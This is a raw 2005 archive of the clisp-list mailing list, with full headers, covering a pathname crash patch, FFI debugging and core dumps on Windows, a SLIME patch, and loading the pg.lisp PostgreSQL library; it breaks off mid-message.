X-FAX: +1 801 585 1640, +1 801 581 4148 X-URL: http://www.math.utah.edu/~beebe In-Reply-To: Your message of Tue, 02 Aug 2005 09:44:24 -0400 Message-ID: X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-2.0 (sunshine2.math.utah.edu [155.101.96.3]); Tue, 02 Aug 2005 14:47:50 -0600 (MDT) X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp-2.34 build comments Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 2 15:43:27 2005 X-Original-Date: Tue, 2 Aug 2005 14:47:49 -0600 (MDT) Thanks to Sam Steingold for the patch to src/pathname.d in clisp-2.34. I applied it, rebuilt, and reran the tests, including the (TRANSLATE-LOGICAL-PATHNAME (LOGICAL-PATHNAME "SYS:FOO.LISP")) It now reports #P"/foo.lisp" instead of getting a segment violation. ------------------------------------------------------------------------------- - Nelson H. F. Beebe Tel: +1 801 581 5254 - - University of Utah FAX: +1 801 581 4148 - - Department of Mathematics, 110 LCB Internet e-mail: beebe@math.utah.edu - - 155 S 1400 E RM 233 beebe@acm.org beebe@computer.org - - Salt Lake City, UT 84112-0090, USA URL: http://www.math.utah.edu/~beebe - ------------------------------------------------------------------------------- From sds@gnu.org Tue Aug 02 16:42:38 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E06P8-0002kP-3j for clisp-list@lists.sourceforge.net; Tue, 02 Aug 2005 16:42:38 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E06P4-0007rB-Jy for clisp-list@lists.sourceforge.net; Tue, 02 Aug 2005 16:42:38 -0700 Received: from WINSTEINGOLDLAP ([10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j72NgJG4024905; Tue, 2 Aug 2005 19:42:20 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Nelson H. F. Beebe" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Nelson H. F. Beebe's message of "Tue, 2 Aug 2005 14:47:49 -0600 (MDT)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, "Nelson H. F. Beebe" Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: clisp-2.34 build comments Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 2 16:43:52 2005 X-Original-Date: Tue, 02 Aug 2005 19:41:36 -0400 > * Nelson H. F. Beebe [2005-08-02 14:47:49 -0600]: > > Thanks to Sam Steingold for the patch to src/pathname.d in clisp-2.34. > I applied it, rebuilt, and reran the tests, including the > > (TRANSLATE-LOGICAL-PATHNAME (LOGICAL-PATHNAME "SYS:FOO.LISP")) > > It now reports > > #P"/foo.lisp" > > instead of getting a segment violation. yes, this is the correct behavior. Nelson, what other issues have not been addressed yet? -- Sam Steingold (http://www.podval.org/~sds) running w2k (lisp programmers do it better) From lisp-clisp-list@m.gmane.org Tue Aug 02 22:00:27 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E0BMh-0002qd-GF for clisp-list@lists.sourceforge.net; Tue, 02 Aug 2005 22:00:27 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1E0BMa-0008KL-Tr for clisp-list@lists.sourceforge.net; Tue, 02 Aug 2005 22:00:27 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1E0BL7-0004FN-Qv for clisp-list@lists.sourceforge.net; Wed, 03 Aug 2005 06:58:49 +0200 Received: from c-67-180-92-49.hsd1.ca.comcast.net ([67.180.92.49]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 03 Aug 2005 06:58:49 +0200 Received: from efuzzyone by c-67-180-92-49.hsd1.ca.comcast.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 03 Aug 2005 06:58:49 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 48 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c-67-180-92-49.hsd1.ca.comcast.net Face: iVBORw0KGgoAAAANSUhEUgAAADAAAAAvBAMAAABXrFT6AAAAD1BMVEU6Egl4Uj+fSCzOknb5 7uZlO6HiAAACSUlEQVR42nWU4ZWsIAyFA1hAGCgAEwsAQgEysf+aXnB23/hnPY7O8Ts3yQ0BuP64 YD30LzDkDxDHsKekcavHF9RjiDYCOkzc0hc0Vtnp5VMSaRi+oAONQo2pcxF4KN7KROSpd+oAjxxv r16CHjIqS/xWpTPUQxOC5DfJ/ihX3t7K8uVoGlmezrFfMgtFjfv7qejbjrlyrzOdBzwACmsqLKVl bPioCqQUqMJUAXrN/4E4gh07i2BKe92+5YbSuJk/2VqnGh7AuyoGyJHlyOMHDA0bMnkRIenvbw69 Qprc7aNYF9+nAZUF5HKnWhzuffX3lKHdjxvAGToRS+cO0igI0QI6UIHYgDkpbCtgvctg8XKF09sn 6kcpomTrucCleUJ9UXVSOvnXMnqsUKr5ck3LgbTpMKO9u+NTlc7UxF5wSSu0rpJv0BQgxnQly1eX H7I5Wjn61aJNk6LacK3SehsfYJaiyyeEll59CeoNOkXzCg4AbB0Prpzi3SvgNYF1palJWOo4bjCB eU8Rt6ljxtAcvlxbAMFLsTjpGmO61IKN2a0A71gsvrMSMA3IFiOs5PYtChqAgvtQcAlgk1tR4COB kq71B4D3j6J42xYmtGjT3gjm8FZ4v0szCeZrrw4StN2Ag92T3xZJLFhdRNepGSje5tCvTcaSUCBC mMEA7EDFW0IbxDwwVXNUj3PlQLAN+7KhvvDCoNZnZyXZXYq3HWhNHTMHYNWaa1rJrb5lI9kJgIBh DJxOwCb0cxbo+D1W7Dc+Q/17zIw1yD/0H0JDvJOOO8rIAAAAAElFTkSuQmCC User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cancel-Lock: sha1:dAG60FRKNe5gneC5dAX4+0lvUDE= X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.4 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: FFI debugging and crashing support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Aug 2 22:02:04 2005 X-Original-Date: Tue, 02 Aug 2005 21:58:16 -0700 Sam Steingold writes: >> * Surendra Singhi [2005-07-31 00:27:55 -0700]: >> >> Is there any way (flags, tools), which I can use to avoid clisp from >> crashing, also get better error checking and more warnings? > > > Sam, thanks for your response. I tried using the variables mentioned there, [1] but it did not generate any *.c file. To be specific, I added the lines: (setq FFI:*OUTPUT-C-FUNCTIONS* t) (setf FFI:*OUTPUT-C-VARIABLES* t) to the file and compiled as below [20]> (compile-file "wxToolBar.lisp") ;; Compiling file C:\wxcl\clisp-wrappers\wxToolBar.lis p ... ;; Wrote file C:\wxcl\clisp-wrappers\wxToolBar.fas 0 errors, 0 warnings #P"C:\\wxcl\\clisp-wrappers\\wxToolBar.fas" ; NIL ; NIL [21]> Googling it also didn't give any results or examples. Am I making any mistake in the way I am using these variables? [2]when clisp crashes it does not generates any core dump file, is there any way I can get the stack trace or some information on why did it crash or what made it crash, or make it generate a core dump? Thanks for your attention. -- Surendra Singhi http://www.public.asu.edu/~sksinghi/index.html "War is Peace! Freedom is Slavery! Ignorance is Strength!" - Orwell, 1984, 1948 From kavenchuk@jenty.by Wed Aug 03 01:59:27 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E0F5z-0004eD-Cz for clisp-list@lists.sourceforge.net; Wed, 03 Aug 2005 01:59:27 -0700 Received: from [194.158.196.38] (helo=mail.jenty.by) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E0F5x-0007j9-UU for clisp-list@lists.sourceforge.net; Wed, 03 Aug 2005 01:59:27 -0700 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id PDJ16F3H; Wed, 3 Aug 2005 11:59:54 +0300 Message-ID: <42F087B3.2080806@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.8) Gecko/20050511 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] slime patch Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 3 02:00:16 2005 X-Original-Date: Wed, 03 Aug 2005 12:00:35 +0300 clisp from CVS head, mingw GNU Emacs 22.0.50.1 slime from CVS head for > use symbol property lists instead of the global *DOCUMENTATION* hash table need edit swank-clisp.lisp @@ -188,7 +188,8 @@ (:class (describe (find-class symbol))))) (defun fspec-pathname (symbol) - (let ((path (getf (gethash symbol sys::*documentation*) 'sys::file))) + (let ((path (getf (get (get-doc-entity-symbol object) 'sys::doc) + 'sys::file))) (if (and path (member (pathname-type path) custom:*compiled-file-types* :test #'string=)) Thanks. -- WBR, Yaroslav Kavenchuk. From kania_potter@yahoo.com Wed Aug 03 04:31:18 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E0HSo-0003Sw-Em for clisp-list@lists.sourceforge.net; Wed, 03 Aug 2005 04:31:10 -0700 Received: from web30411.mail.mud.yahoo.com ([68.142.201.234]) by mail.sourceforge.net with smtp (Exim 4.44) id 1E0HSi-0004s8-G6 for clisp-list@lists.sourceforge.net; Wed, 03 Aug 2005 04:31:10 -0700 Received: (qmail 87569 invoked by uid 60001); 3 Aug 2005 11:30:58 -0000 DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; h=Message-ID:Received:Date:From:Reply-To:Subject:To:In-Reply-To:MIME-Version:Content-Type:Content-Transfer-Encoding; b=WfHNrygwzIlNT5xfGfzzP3IrBz1iyuujOmnteTElT9JsD9gap7RFqDgyKYAqWcMKKWiAnre5NA4Lyh6Rg90GiRjw6NKC2Zm43MC6iZtBcI6bjHADD1RsqhE3zwbF8RBHuWplyVOp5sPHSGENhcHmg1anD7SQc7aTH5PNDOtsJCE= ; Message-ID: <20050803113058.87567.qmail@web30411.mail.mud.yahoo.com> Received: from [202.95.157.18] by web30411.mail.mud.yahoo.com via HTTP; Wed, 03 Aug 2005 04:30:58 PDT From: Kania Potter Reply-To: kania_potter@yahoo.com Subject: Re: [clisp-list] connect to database postgresql To: clisp-list@lists.sourceforge.net In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A0305458C5E@S4DE8PSAAGS.blf.telekom.de> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 3 04:33:07 2005 X-Original-Date: Wed, 3 Aug 2005 04:30:58 -0700 (PDT) Thanks for u'r information Mr. Jörg Höhle. But I still have a problem. I try to load again my program, but the same error message "PG" didn't recognize. I've done extract pg-dot-lisp-0.19.tgz, and try to load an example code (pg-tests.lisp). But, unfortunately, "PG" didn't recognize :( Iam really confused. Please help me. thanks for the answer Regards, Kania --- "Hoehle, Joerg-Cyril" wrote: > Kania Potter wrote: > > (with-pg-connection (conn ...) > > (with-pg-transaction conn > > (pg-exec "DROP TABLE test_date")) > >Where Iam wrong.....??? > > You need Eric Marsden's pg.lisp which is distributed > separately. Last time I looked (some time ago), I > found pg-dot-lisp-0.19.tgz somewhere on the net. I'm > sure Cliki http://cliki.net will lead you to such a > place. > -- Or I can send you that 21KB compressed tar > archive directly? > > Regards, > Jörg Höhle > "Draco dormiens nunquam titillandus" ____________________________________________________ Start your day with Yahoo! - make it your home page http://www.yahoo.com/r/hs From sds@gnu.org Wed Aug 03 07:59:38 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E0KiX-0005vi-Nr for clisp-list@lists.sourceforge.net; Wed, 03 Aug 2005 07:59:37 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E0KiW-00069I-G9 for clisp-list@lists.sourceforge.net; Wed, 03 Aug 2005 07:59:38 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j73EwFOl023733; Wed, 3 Aug 2005 10:59:28 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <42F087B3.2080806@jenty.by> (Yaroslav Kavenchuk's message of "Wed, 03 Aug 2005 12:00:35 +0300") References: <42F087B3.2080806@jenty.by> Mail-Followup-To: clisp-list@lists.sourceforge.net, Yaroslav Kavenchuk Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: slime patch Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 3 08:01:08 2005 X-Original-Date: Wed, 03 Aug 2005 10:57:33 -0400 > * Yaroslav Kavenchuk [2005-08-03 12:00:35 +0300]: > > clisp from CVS head, mingw > GNU Emacs 22.0.50.1 > slime from CVS head > > for >> use symbol property lists instead of the global *DOCUMENTATION* hash table > > need edit swank-clisp.lisp > > @@ -188,7 +188,8 @@ > (:class (describe (find-class symbol))))) > > (defun fspec-pathname (symbol) > - (let ((path (getf (gethash symbol sys::*documentation*) 'sys::file))) > + (let ((path (getf (get (get-doc-entity-symbol object) 'sys::doc) > + 'sys::file))) > (if (and path > (member (pathname-type path) > custom:*compiled-file-types* :test #'string=)) it was wrong before, it is wrong now. (documentation symbol 'sys::file) is what you need. -- Sam Steingold (http://www.podval.org/~sds) running w2k If you're being passed on the right, you're in the wrong lane. From sds@gnu.org Wed Aug 03 08:13:13 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E0Kvf-0006NW-Qm for clisp-list@lists.sourceforge.net; Wed, 03 Aug 2005 08:13:11 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E0Kv9-0006qE-5B for clisp-list@lists.sourceforge.net; Wed, 03 Aug 2005 08:13:11 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j73FAk55025640; Wed, 3 Aug 2005 11:10:46 -0400 (EDT) To: clisp-list@lists.sourceforge.net, kania_potter@yahoo.com Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050803113058.87567.qmail@web30411.mail.mud.yahoo.com> (Kania Potter's message of "Wed, 3 Aug 2005 04:30:58 -0700 (PDT)") References: <5F9130612D07074EB0A0CE7E69FD7A0305458C5E@S4DE8PSAAGS.blf.telekom.de> <20050803113058.87567.qmail@web30411.mail.mud.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, kania_potter@yahoo.com Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: connect to database postgresql Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 3 08:15:06 2005 X-Original-Date: Wed, 03 Aug 2005 11:10:04 -0400 > * Kania Potter [2005-08-03 04:30:58 -0700]: > > Thanks for u'r information Mr. J=C3=B6rg H=C3=B6hle. But I still > have a problem. I try to load again my program, but > the same error message "PG" didn't recognize. I've > done extract pg-dot-lisp-0.19.tgz, and try to load an > example code (pg-tests.lisp). But, unfortunately, "PG" > didn't recognize :( > Iam really confused. Please help me. you have to compile and load the package before you can use it (run tests &c) read the PG README on how to do that. --=20 Sam Steingold (http://www.podval.org/~sds) running w2k The difference between theory and practice is that in theory there isn't an= y. From sds@gnu.org Wed Aug 03 08:14:50 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E0KxG-0006W5-Ex for clisp-list@lists.sourceforge.net; Wed, 03 Aug 2005 08:14:50 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E0KxF-0007VW-RJ for clisp-list@lists.sourceforge.net; Wed, 03 Aug 2005 08:14:50 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.183]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j73FEg54026279; Wed, 3 Aug 2005 11:14:42 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Surendra Singhi Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Surendra Singhi's message of "Tue, 02 Aug 2005 21:58:16 -0700") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Surendra Singhi Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_QUOTE BODY: Text interparsed with " 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: FFI debugging and crashing support Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 3 08:16:23 2005 X-Original-Date: Wed, 03 Aug 2005 11:13:59 -0400 > * Surendra Singhi [2005-08-02 21:58:16 -0700]: > > Sam Steingold writes: > >>> * Surendra Singhi [2005-07-31 00:27:55 -0700]: >>> >>> Is there any way (flags, tools), which I can use to avoid clisp from >>> crashing, also get better error checking and more warnings? >> >> >> > Sam, thanks for your response. I tried using the variables mentioned there, > > [1] but it did not generate any *.c file. > > To be specific, I added the lines: > > (setq FFI:*OUTPUT-C-FUNCTIONS* t) > (setf FFI:*OUTPUT-C-VARIABLES* t) > > to the file and compiled as below > > > [20]> (compile-file "wxToolBar.lisp") > ;; Compiling file C:\wxcl\clisp-wrappers\wxToolBar.lis > p ... > ;; Wrote file C:\wxcl\clisp-wrappers\wxToolBar.fas > 0 errors, 0 warnings > #P"C:\\wxcl\\clisp-wrappers\\wxToolBar.fas" ; > NIL ; > NIL > [21]> all your DEF-CALL-OUT forms have a (:LIBRARY ...) argument, right? comment it out and then re-compile wxToolBar.lisp. > [2]when clisp crashes it does not generates any core dump file, is > there any way I can get the stack trace or some information on why did > it crash or what made it crash, or make it generate a core dump? running under a debugger (e.g., gdb) should help. I don't know how to tell windows to generate core dumps. in my experience it does generate "stacktrace" files (smallish ASCII files with number that I don't know how to interpret). -- Sam Steingold (http://www.podval.org/~sds) running w2k Your mouse pad is incompatible with MS Windows - your HD will be reformatted. From pjb@informatimago.com Wed Aug 03 09:41:07 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1E0MIl-0003Ux-5l for clisp-list@lists.sourceforge.net; Wed, 03 Aug 2005 09:41:07 -0700 Received: from larissa.informatimago.com ([62.93.174.78] ident=postfix) by mail.sourceforge.net with esmtp (Exim 4.44) id 1E0MIh-0005bI-Od for clisp-list@lists.sourceforge.net; Wed, 03 Aug 2005 09:41:07 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 24214582FA; Wed, 3 Aug 2005 18:40:45 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id D93A6582FA; Wed, 3 Aug 2005 18:40:43 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id B65B510FBF3; Wed, 3 Aug 2005 18:40:43 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Message-ID: <17136.62347.712663.634272@thalassa.informatimago.com> To: kania_potter@yahoo.com Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] connect to database postgresql In-Reply-To: <20050803113058.87567.qmail@web30411.mail.mud.yahoo.com> References: <5F9130612D07074EB0A0CE7E69FD7A0305458C5E@S4DE8PSAAGS.blf.telekom.de> <20050803113058.87567.qmail@web30411.mail.mud.yahoo.com> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=0.2 required=5.0 tests=BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Aug 3 09:43:08 2005 X-Original-Date: Wed, 3 Aug 2005 18:40:43 +0200 Kania Potter writes: > Thanks for u'r information Mr. Jörg Höhle. But I still > have a problem. I try to load again my program, but > the same error message "PG" didn't recognize. I've > done extract 